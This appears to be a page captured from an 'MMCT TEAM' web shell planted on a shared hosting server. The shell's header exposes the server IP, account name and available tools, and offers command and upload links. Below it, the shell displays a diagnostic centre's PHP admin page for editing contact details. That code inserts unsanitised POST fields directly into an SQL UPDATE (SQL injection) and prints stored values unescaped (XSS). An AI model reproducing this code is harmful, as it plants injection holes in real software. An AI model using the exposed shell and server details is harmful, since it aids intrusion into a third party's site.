MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 13.58.40.171
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/logs/../deedeecreation.in/../joshidiagnosticcentre.com/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/logs/../deedeecreation.in/../joshidiagnosticcentre.com/admin/manage_contact.php
<?php
    include ('config.php');
    if (isset($_POST['update'])){
        $id = $_POST['id'];
        $company_name = $_POST['company_name'];
        $short_about = $_POST['short_about'];
        $contact_person = $_POST['contact_person'];
        $phone = $_POST['phone'];
        $alt_phone = $_POST['alt_phone'];
        $email = $_POST['email'];
        $alt_email = $_POST['alt_email'];
        $address = $_POST['address'];
        $map = $_POST['map'];
        $facebook = $_POST['facebook'];
        $instagram = $_POST['instagram'];
        $linkedin = $_POST['linkedin'];
        $youtube = $_POST['youtube'];
        $pinterest = $_POST['pinterest'];
        $twitter = $_POST['twitter'];
        $meta_title = $_POST['meta_title'];
        $meta_desc = $_POST['meta_desc'];
    
      $query ="UPDATE `contact_page` SET `company_name`='{$company_name}',`short_about`='{$short_about}',`contact_person`='{$contact_person}',`phone`='{$phone}',`alt_phone`='{$alt_phone}',`email`='{$email}',`alt_email`='{$alt_email}',`address`='{$address}',`map_link`='{$map}',`facebook_link`='{$facebook}',`instagram_link`='{$instagram}',`linkedin_link`='{$linkedin}',`youtube_link`='{$youtube}',`pinterest_link`='{$pinterest}',`twitter_link`='{$twitter}' ,`meta_title`='{$meta_title}' ,`meta_desc`='{$meta_desc}' WHERE id='{$id}'";
    
	$run = mysqli_query($db,$query) or die("Query Not Run");
    
	if($run){
		header('location:manage_contact.php');
        echo "Update Sucessfully";
		mysqli_close($db);
	}else{
		
        echo "Not Work";
	}
}
// else{
//     echo "Not Updated";
// }
?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Admin</title>

    <!-- Custom fonts for this template-->
    <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">
    <link
        href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"
        rel="stylesheet">

    <!-- Custom styles for this template-->
    <link href="css/sb-admin-2.min.css" rel="stylesheet">

    <style>
        div.dataTables_wrapper div.dataTables_filter input {
            box-shadow: 0px 0 0 !important;
            transform: translate(-123px,1px);
        }
    </style>

    
    <link href="vendor/datatables/dataTables.bootstrap4.min.css" rel="stylesheet">

</head>

<body id="page-top">

    <!-- Page Wrapper -->
    <div id="wrapper">

       <?php include_once('side-bar.php')?>

        <!-- Content Wrapper -->
        <div id="content-wrapper" class="d-flex flex-column">

            <!-- Main Content -->
            <div id="content">

                <!-- Topbar -->
                <?php include_once('topbar.php')?>
                <!-- End of Topbar -->

                <!-- Begin Page Content -->
                <div class="container-fluid">

                    <!-- Page Heading -->
                    <div class="d-sm-flex align-items-center justify-content-between mb-4">
                        <h1 class="h3 mb-0 text-gray-800">Contact</h1>
                    </div>
                    <!-- DataTales Example -->
                    <div class="card shadow mb-4">
                        <div class="card-header py-3">
                            <h6 class="m-0 font-weight-bold text-primary">Contact Details</h6>
                        </div>
                        <div class="card-body">
                            <div class="container-fluid">
                            
                                <form action="<?php $_PHP_SELF ?>" method="post">
                                <?php 
                                    $sql = "SELECT * FROM contact_page";
                                    $run = mysqli_query($db,$sql) or die("Query Not run");
                                    $data = mysqli_fetch_assoc($run);
                                ?>   
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                            <input type="text" hidden name="id" value="<?php echo $data['id'];?>"/>
                                                <label>Company Name</label>
                                                <input type="text" class="form-control"  name="company_name" value="<?php echo $data['company_name'];?>">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>About Footer</label>
                                                <input type="text" class="form-control"  name="short_about" value="<?php echo $data['short_about'];?>">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Contact Person</label>
                                                <input type="text" class="form-control"  name="contact_person" value="<?php echo $data['contact_person'];?>">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Contact No.</label>
                                                <input type="phone" class="form-control"  name="phone" value="<?php echo $data['phone'];?>">
                                            </div>
                                        </div>
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Alt Contact</label>
                                                <input type="phone" value="<?php echo $data['alt_phone'];?>" class="form-control" name="alt_phone">
                                                
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Email</label>
                                                <input type="email" class="form-control"  name="email" value="<?php echo $data['email'];?>">
                                            </div>
                                        </div>
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Alt Email</label>
                                                <input type="email" value="<?php echo $data['alt_email'];?>" class="form-control" name="alt_email">
                                                
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Address</label>
                                                <input type="text" name="address" value="<?php echo $data['address'];?>" class="form-control" >
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Google Map Embded Link</label>
                                                <input type="text" name="map" value="<?php echo $data['map_link'];?>" class="form-control">
                                                
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Facebook Link</label>
                                                <input type="text" class="form-control"  name="facebook" value="<?php echo $data['facebook_link'];?>">
                                            </div>
                                        </div>
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Instagram Link</label>
                                                <input type="text" value="<?php echo $data['instagram_link'];?>" class="form-control" name="instagram">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>LinkdIn Link</label>
                                                <input type="text" class="form-control"  name="linkedin" value="<?php echo $data['linkedin_link'];?>">
                                            </div>
                                        </div>
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Youtube Link</label>
                                                <input type="text" value="<?php echo $data['youtube_link'];?>" class="form-control" name="youtube">
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Twitter Link</label>
                                                <input type="text" class="form-control"  name="twitter" value="<?php echo $data['twitter_link'];?>">
                                            </div>
                                        </div>
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Pinterest Link</label>
                                                <input type="text" value="<?php echo $data['pinterest_link'];?>" class="form-control" name="pinterest">
                                            </div>
                                        </div>
                                    </div>
                                    <?php
                                    if (isset($_SESSION['user']) && $_SESSION['user']['user_type'] == 'supadmin' ) {
                          
                              echo '<div class="row">
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Meta Title</label>
                                                <input type="text" class="form-control" name="meta_title" value="'.$data['meta_title'].'">
                                            </div>
                                        </div>
                                        <div class="col">
                                            <div class="form-group">
                                                <label>Meta Description</label>
                                                <input type="text" class="form-control" name="meta_desc" value="'.$data['meta_desc'].'">
                                            </div>
                                        </div>
                                    </div>';
                                }
                                    ?>
                                    <div class="row">
                                        <div class="col-12">
                                            <button name="update" type="submit" class="btn btn-success" >Update Contact</button>
                                        </div>
                                    </div>
                                </form>
                                
                            </div>
                        </div>
                    </div>


                </div>
                <!-- /.container-fluid -->

            </div>
            
            <!-- End of Main Content -->
            
            <!-- Footer -->
            <?php include_once('footer.php')?>

</body>

</html>

MMCT - 2023